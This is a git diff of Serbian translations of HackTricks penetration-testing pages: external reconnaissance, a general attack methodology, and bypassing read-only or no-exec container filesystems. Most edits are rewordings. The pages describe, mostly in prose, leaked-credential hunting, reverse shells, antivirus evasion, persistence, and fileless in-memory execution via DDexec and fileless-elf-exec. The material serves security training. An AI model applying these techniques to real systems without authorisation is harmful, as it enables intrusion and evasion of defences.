Ako pronađete neku **subdomenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od toga koji servisi rade, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
_Napomena: ponekad je subdomena hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._
@ -504,9 +504,9 @@ Takođe možete proveriti za domene koje upućuju na određenu IP adresu koriste
> Pronašli smo sve kompanije i njihove resurse i znamo IP opsege, domene i subdomene unutar opsega. Vreme je da tražimo web servere.
U prethodnim koracima verovatno ste već izvršili neku **recon za IP adrese i domene koje ste otkrili**, tako da ste možda **već pronašli sve moguće web servere**. Međutim, ako niste, sada ćemo videti neke **brze trikove za pretragu web servera** unutar opsega.
U prethodnim koracima verovatno ste već izvršili neku **recon za otkrivene IP adrese i domene**, tako da ste možda **već pronašli sve moguće web servere**. Međutim, ako niste, sada ćemo videti neke **brze trikove za pretragu web servera** unutar opsega.
Molimo vas da napomenete da će ovo biti **orijentisano na otkrivanje web aplikacija**, tako da biste trebali **izvršiti skeniranje ranjivosti** i **skeniranje portova** takođe (**ako je dozvoljeno** od strane opsega).
Molimo vas, imajte na umu da će ovo biti **orijentisano na otkrivanje web aplikacija**, tako da biste trebali **izvršiti skeniranje ranjivosti** i **skeniranje portova** takođe (**ako je dozvoljeno** od strane opsega).
**Brza metoda** za otkrivanje **otvorenih portova** povezanih sa **web** serverima koristeći [**masscan** može se pronaći ovde](../pentesting-network/#http-port-discovery).\
Još jedan prijateljski alat za pretragu web servera je [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Samo prosledite listu domena i pokušaće da se poveže na port 80 (http) i 443 (https). Pored toga, možete naznačiti da pokuša i druge portove:
@ -516,7 +516,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
```
### **Screenshots**
Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP-ovima** kompanije i svim **domenima** i **poddomenima**) verovatno **ne znate odakle da počnete**. Dakle, hajde da to pojednostavimo i počnemo samo sa pravljenjem snimaka ekrana svih njih. Samo gledajući **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **podložne** da budu **ranjive**.
Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP-ovima** kompanije i svim **domenima** i **poddomenama**) verovatno **ne znate odakle da počnete**. Dakle, hajde da to pojednostavimo i počnemo tako što ćemo praviti snimke ekrana svih njih. Samo gledajući **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **podložne** da budu **ranjive**.
Da biste sproveli predloženu ideju, možete koristiti [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ili [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
@ -532,11 +532,11 @@ Takođe će vam biti potrebne liste reči **uobičajenih reči korišćenih u ka
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
Zatim, sa tim rečima trebali biste generisati **permutacije** (pogledajte [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) za više informacija).
Zatim, sa tim rečima trebali biste generisati **permutacije** (proverite [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) za više informacija).
Sa dobijenim listama reči možete koristiti alate kao što su [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ili** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
Zapamtite da kada tražite Cloud resurse, trebali biste **tražiti više od samo kanti u AWS-u**.
Zapamtite da kada tražite Cloud resurse, trebali biste **gledati više od samo kanti u AWS-u**.
### **Looking for vulnerabilities**
@ -544,7 +544,7 @@ Ako pronađete stvari kao što su **otvorene kante ili izložene cloud funkcije*
## Emails
Sa **domenima** i **poddomenima** unutar opsega, u suštini imate sve što vam **treba da počnete da tražite emailove**. Ovo su **API-ji** i **alati** koji su mi najbolje radili za pronalaženje emailova kompanije:
Sa **domenima** i **poddomenama** unutar opsega, u suštini imate sve što vam **treba da počnete da tražite emailove**. Ovo su **API-ji** i **alati** koji su mi najbolje radili za pronalaženje emailova kompanije:
* [**theHarvester**](https://github.com/laramies/theHarvester) - sa API-ima
* API [**https://hunter.io/**](https://hunter.io/) (besplatna verzija)
@ -557,7 +557,7 @@ Emailovi će biti korisni kasnije za **brute-force web prijave i auth servise**
## Credential Leaks
Sa **domenima,** **poddomenima** i **emailovima** možete početi da tražite kredencijale koji su procurili u prošlosti i pripadaju tim emailovima:
Sa **domenima,** **poddomenama** i **emailovima** možete početi da tražite kredencijale koji su procurili u prošlosti i pripadaju tim emailovima:
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
@ -568,14 +568,14 @@ Ako pronađete **validne procurile** kredencijale, ovo je vrlo lakša pobeda.
## Secrets Leaks
Procureni kredencijali su povezani sa hakovanjima kompanija gde je **osetljiva informacija procurila i prodana**. Međutim, kompanije mogu biti pogođene zbog **drugih curenja** čije informacije nisu u tim bazama podataka:
Procureni kredencijali su povezani sa hakovanjima kompanija gde je **osetljive informacije procurile i prodane**. Međutim, kompanije mogu biti pogođene zbog **drugih curenja** čije informacije nisu u tim bazama podataka:
### Github Leaks
Kredencijali i API-ji mogu biti procureni u **javnim repozitorijumima** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\
Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** jedne **organizacije** i njenih **razvijača** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) nad njima.
**Leakos** se takođe može koristiti za pokretanje **gitleaks** protiv svih **teksta** koji su **URL-ovi prosleđeni** njemu, jer ponekad **web stranice takođe sadrže tajne**.
**Leakos** se takođe može koristiti za pokretanje **gitleaks** protiv svih **tekstualnih** **URL-ova** koji su mu prosleđeni, jer ponekad **web stranice takođe sadrže tajne**.
#### Github Dorks
@ -594,7 +594,7 @@ Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pr
Stari, ali zlatni google dorks su uvek korisni za pronalaženje **izloženih informacija koje ne bi trebale biti tu**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete ručno pokrenuti. Dakle, možete uzeti svojih omiljenih 10 ili možete koristiti **alat kao što je** [**Gorks**](https://github.com/carlospolop/Gorks) **da ih sve pokrenete**.
_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti jer će vas google vrlo brzo blokirati._
_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti jer će vas Google vrlo brzo blokirati._
### **Looking for vulnerabilities**
@ -618,7 +618,7 @@ Takođe postoje besplatne usluge koje vam omogućavaju da **skenirate javne repo
**Većina ranjivosti** koje pronalaze lovci na greške se nalazi unutar **web aplikacija**, tako da bih u ovom trenutku želeo da govorim o **metodologiji testiranja web aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/).
Takođe želim da posebno pomenem sekciju [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, iako ne biste trebali očekivati da će pronaći veoma osetljive ranjivosti, oni su korisni za implementaciju u **tokove rada kako biste imali neke inicijalne web informacije.**
Takođe želim da posebno pomenem sekciju [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, iako ne biste trebali očekivati da će pronaći veoma osetljive ranjivosti, oni su korisni za implementaciju u **radne tokove kako biste imali neke inicijalne web informacije.**
## Recapitulation
@ -628,12 +628,12 @@ Dakle, već ste:
1. Pronašli sve **kompanije** unutar opsega
2. Pronašli sve **resurse** koji pripadaju kompanijama (i izvršili neku skeniranje ranjivosti ako je u opsegu)
3. Pronašli sve **domenе** koji pripadaju kompanijama
3. Pronašli sve **domenе** koje pripadaju kompanijama
4. Pronašli sve **poddomenе** domena (ima li preuzimanja poddomena?)
5. Pronašli sve **IP-ove** (iz i **ne iz CDN-a**) unutar opsega.
6. Pronašli sve **web servere** i napravili **screenshot** njih (ima li nešto čudno što vredi dubljeg pregleda?)
7. Pronašli sve **potencijalne javne cloud resurse** koji pripadaju kompaniji.
8. **Emailovi**, **procureni kredencijali**, i **procurene tajne** koje bi vam mogle doneti **veliku pobedu vrlo lako**.
8. **Emailovi**, **procureni kredencijali** i **procurene tajne** koje bi vam mogle doneti **veliku pobedu vrlo lako**.
9. **Pentesting svih web stranica koje ste pronašli**
## **Full Recon Automatic Tools**
@ -649,9 +649,9 @@ Postoji nekoliko alata koji će izvršiti deo predloženih akcija protiv datog o
* Svi besplatni kursevi [**@Jhaddix**](https://twitter.com/Jhaddix) kao što je [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -665,7 +665,7 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,23 +1,23 @@
# Pentesting Metodologija
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Trening AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Trening GCP Red Team Ekspert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Trening AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Trening GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podrška HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -42,7 +42,7 @@ Imajte na umu da ako izvodite eksterni test, kada uspete da dobijete pristup unu
### **2-** [**Zabavljanje sa mrežom**](pentesting-network/) **(Interni)**
**Ova sekcija se primenjuje samo ako izvodite interni test.**\
Pre nego što napadnete host, možda biste želeli da **ukradete neke akreditive** **sa mreže** ili **snifujete** neke **podatke** kako biste pasivno/aktivno (MitM) saznali šta možete pronaći unutar mreže. Možete pročitati [**Pentesting Mrežu**](pentesting-network/#sniffing).
Pre nego što napadnete host, možda biste želeli da **ukradete neke akreditive** **iz mreže** ili **snifujete** neke **podatke** kako biste pasivno/aktivno (MitM) saznali šta možete pronaći unutar mreže. Možete pročitati [**Pentesting Mrežu**](pentesting-network/#sniffing).
### 3- [Port skeniranje - Otkriće usluga](pentesting-network/#scanning-hosts)
@ -50,7 +50,7 @@ Prva stvar koju treba uraditi kada **tražite ranjivosti na hostu** je da znate
### **4-** [Pretraživanje eksploata usluga](search-exploits.md)
Kada znate koje usluge rade, i možda njihovu verziju, morate **tražiti poznate ranjivosti**. Možda ćete imati sreće i postoji eksploat koji vam može dati shell...
Kada znate koje usluge rade, i možda njihovu verziju, morate **tražiti poznate ranjivosti**. Možda ćete imati sreće i postoji eksploat koji će vam dati shell...
### **5-** Pentesting Usluge
@ -58,7 +58,7 @@ Ako nema nikakvih zanimljivih eksploata za bilo koju aktivnu uslugu, trebali bis
**Unutar ove knjige naći ćete vodič za pentestovanje najčešćih usluga** (i drugih koje nisu tako uobičajene)**. Molimo vas da potražite u levom indeksu _**PENTESTING**_ **sekciju** (usluge su poredane po njihovim podrazumevanim portovima).
**Želim da napravim posebnu napomenu o** [**Pentestingu Web**](../network-services-pentesting/pentesting-web/) **delu (jer je to najopsežniji deo).**\
**Želim da napravim posebnu napomenu o** [**Pentestovanju Weba**](../network-services-pentesting/pentesting-web/) **deo (jer je to najopsežniji).**\
Takođe, mali vodič o tome kako [**pronaći poznate ranjivosti u softveru**](search-exploits.md) može se naći ovde.
**Ako vaša usluga nije u indeksu, potražite na Google-u** za druge tutorijale i **javite mi ako želite da je dodam.** Ako **ne možete ništa pronaći** na Google-u, izvršite svoj **slep pentesting**, možete početi tako što ćete **povezati se na uslugu, fuzzovati je i čitati odgovore** (ako ih ima).
@ -69,15 +69,15 @@ Postoji nekoliko alata koji mogu izvršiti **automatske procene ranjivosti**. **
#### **5.2 Brute-Forcing usluga**
U nekim scenarijima **Brute-Force** može biti koristan za **kompromitovanje** **usluge**. [**Pronađite ovde CheatSheet različitih usluga za brute forcing**](brute-force.md)**.**
U nekim scenarijima **Brute-Force** bi mogao biti koristan za **kompromitovanje** **usluge**. [**Pronađite ovde CheatSheet različitih usluga za brute forcing**](brute-force.md)**.**
### 6- [Phishing](phishing-methodology/)
Ako u ovom trenutku niste pronašli nijednu zanimljivu ranjivost, možda ćete morati da probate neki phishing kako biste ušli u mrežu. Možete pročitati moju metodologiju phishinga [ovde](phishing-methodology/):
Ako u ovom trenutku niste pronašli nijednu zanimljivu ranjivost, možda ćete morati da pokušate neki phishing kako biste ušli u mrežu. Možete pročitati moju metodologiju phishinga [ovde](phishing-methodology/):
### **7-** [**Dobijanje Shell-a**](reverse-shells/)
Na neki način biste trebali pronaći **neki način da izvršite kod** na žrtvi. Tada bi [lista mogućih alata unutar sistema koje možete koristiti za dobijanje reverznog shell-a bila veoma korisna](reverse-shells/).
Na neki način, trebali biste pronaći **neki način da izvršite kod** na žrtvi. Tada bi [lista mogućih alata unutar sistema koje možete koristiti za dobijanje reverznog shell-a bila veoma korisna](reverse-shells/).
Posebno na Windows-u mogli biste trebati neku pomoć da **izbegnete antiviruse**: [**Proverite ovu stranicu**](../windows-hardening/av-bypass.md)**.**\\
@ -95,9 +95,9 @@ Verovatno ćete morati da **izvučete neke podatke iz žrtve** ili čak **da uve
### **10- Eskalacija privilegija**
#### **10.1- Lokalna Eskalacija**
#### **10.1- Lokalna Privesc**
Ako niste **root/Administrator** unutar mašine, trebali biste pronaći način da **escalirate privilegije.**\
Ako niste **root/Administrator** unutar kutije, trebali biste pronaći način da **escalate privilegije.**\
Ovde možete pronaći **vodič za eskalaciju privilegija lokalno u** [**Linux-u**](../linux-hardening/privilege-escalation/) **i u** [**Windows-u**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Trebalo bi da proverite i ove stranice o tome kako **Windows funkcioniše**:
@ -108,9 +108,9 @@ Trebalo bi da proverite i ove stranice o tome kako **Windows funkcioniše**:
**Ne zaboravite da proverite najbolje alate za enumeraciju Windows i Linux lokalnih putanja eskalacije privilegija:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Domain Eskalacija**
#### **10.2- Domain Privesc**
Ovde možete pronaći [**metodologiju koja objašnjava najčešće akcije za enumeraciju, eskalaciju privilegija i postojanje na Active Directory**](../windows-hardening/active-directory-methodology/). Čak i ako je ovo samo podsekcija jedne sekcije, ovaj proces može biti **izuzetno delikatan** na Pentesting/Red Team zadatku.
Ovde možete pronaći [**metodologiju koja objašnjava najčešće akcije za enumeraciju, eskalaciju privilegija i persistenciju na Active Directory**](../windows-hardening/active-directory-methodology/). Čak i ako je ovo samo podsekcija jedne sekcije, ovaj proces može biti **izuzetno delikatan** na Pentesting/Red Team zadatku.
### 11 - POST
@ -119,18 +119,18 @@ Ovde možete pronaći [**metodologiju koja objašnjava najčešće akcije za enu
Proverite da li možete pronaći više **lozinki** unutar hosta ili ako imate **pristup drugim mašinama** sa **privilegijama** vašeg **korisnika**.\
Pronađite ovde različite načine za [**dumpovanje lozinki u Windows-u**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
#### 11.2 - Postojanost
#### 11.2 - Persistencija
**Koristite 2 ili 3 različite vrste mehanizama postojanosti kako ne biste morali ponovo da eksploatišete sistem.**\
**Ovde možete pronaći neke** [**trikove postojanosti na Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
**Koristite 2 ili 3 različita tipa mehanizama persistencije kako ne biste morali ponovo da eksploatišete sistem.**\
**Ovde možete pronaći neke** [**trikove za persistenciju na Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
TODO: Završiti postojanost u Windows-u i Linux-u
TODO: Završiti persistenciju Post u Windows-u i Linux-u
### 12 - Pivotiranje
Sa **prikupljenim akreditivima** mogli biste imati pristup drugim mašinama, ili možda trebate **otkriti i skenirati nove hostove** (ponovo započnite Pentesting Metodologiju) unutar novih mreža na kojima je vaša žrtva povezana.\
U ovom slučaju, tunelovanje bi moglo biti neophodno. Ovde možete pronaći [**post o tunelovanju**](tunneling-and-port-forwarding.md).\
Definitivno biste takođe trebali proveriti post o [metodologiji pentestinga Active Directory](../windows-hardening/active-directory-methodology/). Tamo ćete pronaći sjajne trikove za lateralno kretanje, eskalaciju privilegija i dumpovanje akreditiva.\
Definitivno biste takođe trebali proveriti post o [metodologiji pentestovanja Active Directory](../windows-hardening/active-directory-methodology/). Tamo ćete pronaći cool trikove za lateralno kretanje, eskalaciju privilegija i dumpovanje akreditiva.\
Proverite takođe stranicu o [**NTLM**](../windows-hardening/ntlm/), može biti veoma korisna za pivotiranje u Windows okruženjima.
### VIŠE
@ -145,28 +145,28 @@ Proverite takođe stranicu o [**NTLM**](../windows-hardening/ntlm/), može biti
#### [**Osnovni Python**](python/)
#### **Kripto trikovi**
#### **Crypto trikovi**
* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Trening AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Trening GCP Red Team Ekspert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Trening AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Trening GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podrška HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -45,7 +45,7 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
Međutim, čak i ako je fajl sistem montiran kao ro, **`/dev/shm`** će i dalje biti zapisiv, tako da je lažno da ne možemo ništa napisati na disk. Međutim, ova fascikla će biti **montirana sa no-exec zaštitom**, tako da ako preuzmete binarni fajl ovde, **nećete moći da ga izvršite**.
Međutim, čak i ako je fajl sistem montiran kao ro, **`/dev/shm`** će i dalje biti zapisiv, tako da je lažno da ne možemo ništa napisati na disk. Ipak, ova fascikla će biti **montirana sa no-exec zaštitom**, tako da ako preuzmete binarni fajl ovde, **nećete moći da ga izvršite**.
{% hint style="warning" %}
Iz perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarnih fajlova koji već nisu u sistemu (kao što su backdoor-i ili enumeratori poput `kubectl`).
@ -55,7 +55,7 @@ Iz perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarni
Napomena da sam pomenuo binarne fajlove, možete **izvršiti bilo koji skript** sve dok je interpreter unutar mašine, kao što je **shell skript** ako je `sh` prisutan ili **python** **skript** ako je `python` instaliran.
Međutim, ovo nije dovoljno samo za izvršavanje vašeg binarnog backdoor-a ili drugih binarnih alata koje možda trebate pokrenuti.
Međutim, ovo nije dovoljno da izvršite vaš binarni backdoor ili druge binarne alate koje možda trebate pokrenuti.
## Memory Bypasses
@ -63,14 +63,14 @@ Ako želite da izvršite binarni fajl, ali fajl sistem to ne dozvoljava, najbolj
### FD + exec syscall bypass
Ako imate neke moćne skriptne engine unutar mašine, kao što su **Python**, **Perl**, ili **Ruby**, mogli biste preuzeti binarni fajl da ga izvršite iz memorije, sačuvati ga u deskriptoru fajla u memoriji (`create_memfd` syscall), koji neće biti zaštićen tim zaštitama i zatim pozvati **`exec` syscall** označavajući **fd kao fajl za izvršavanje**.
Ako imate neke moćne skriptne engine unutar mašine, kao što su **Python**, **Perl**, ili **Ruby**, mogli biste preuzeti binarni fajl da ga izvršite iz memorije, sačuvati ga u memorijskom fajl deskriptoru (`create_memfd` syscall), koji neće biti zaštićen tim zaštitama i zatim pozvati **`exec` syscall** označavajući **fd kao fajl za izvršavanje**.
Za ovo možete lako koristiti projekat [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Možete mu proslediti binarni fajl i on će generisati skript u naznačenom jeziku sa **binarno kompresovanim i b64 kodiranim** instrukcijama za **dekodiranje i dekompresiju** u **fd** kreiranom pozivom `create_memfd` syscall i pozivom na **exec** syscall da ga pokrene.
{% hint style="warning" %}
Ovo ne funkcioniše u drugim skriptim jezicima kao što su PHP ili Node jer nemaju nikakav d**efault način da pozovu sirove syscalls** iz skripte, tako da nije moguće pozvati `create_memfd` da kreira **memory fd** za skladištenje binarnog fajla.
Ovo ne funkcioniše u drugim skriptnim jezicima poput PHP-a ili Node-a jer nemaju nikakav d**efault način da pozovu sirove syscalls** iz skripte, tako da nije moguće pozvati `create_memfd` da kreira **memorijski fd** za skladištenje binarnog fajla.
Štaviše, kreiranje **regularnog fd** sa fajlom u `/dev/shm` neće raditi, jer nećete moći da ga pokrenete jer će se **no-exec zaštita** primeniti.
Štaviše, kreiranje **običnog fd** sa fajlom u `/dev/shm` neće raditi, jer nećete moći da ga pokrenete zbog primene **no-exec zaštite**.
{% endhint %}
### DDexec / EverythingExec
@ -80,7 +80,7 @@ Ovo ne funkcioniše u drugim skriptim jezicima kao što su PHP ili Node jer nema
Stoga, **kontrolišući asemblažni kod** koji se izvršava od strane procesa, možete napisati **shellcode** i "mutirati" proces da **izvrši bilo koji proizvoljni kod**.
{% hint style="success" %}
**DDexec / EverythingExec** će vam omogućiti da učitate i **izvršite** svoj **shellcode** ili **bilo koji binarni fajl** iz **memorije**.
**DDexec / EverythingExec** će vam omogućiti da učitate i **izvršite** vaš vlastiti **shellcode** ili **bilo koji binarni fajl** iz **memorije**.
{% endhint %}
```bash
# Basic example
@ -124,17 +124,17 @@ Međutim, ako kompromitovani kontejner pokreće, na primer, flask web, tada je p
Korišćenjem scripting jezika mogli biste **enumerisati sistem** koristeći mogućnosti jezika.
{% endhint %}
Ako nema **`read-only/no-exec`** zaštita mogli biste iskoristiti svoj reverz shell da **pišete u fajl sistem vaše binarne fajlove** i **izvršite** ih.
Ako nema **`read-only/no-exec`** zaštita, mogli biste iskoristiti svoj reverz shell da **pišete u fajl sistem vaše binarne fajlove** i **izvršite** ih.
{% hint style="success" %}
Međutim, u ovakvim kontejnerima ove zaštite obično postoje, ali mogli biste koristiti **prethodne tehnike izvršavanja u memoriji da ih zaobiđete**.
{% endhint %}
Možete pronaći **primere** kako da **iskoristite neke RCE ranjivosti** da dobijete scripting jezike **reverz shell-ove** i izvršite binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
Možete pronaći **primere** o tome kako da **iskoristite neke RCE ranjivosti** da dobijete scripting jezike **reverz shell-ove** i izvršite binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
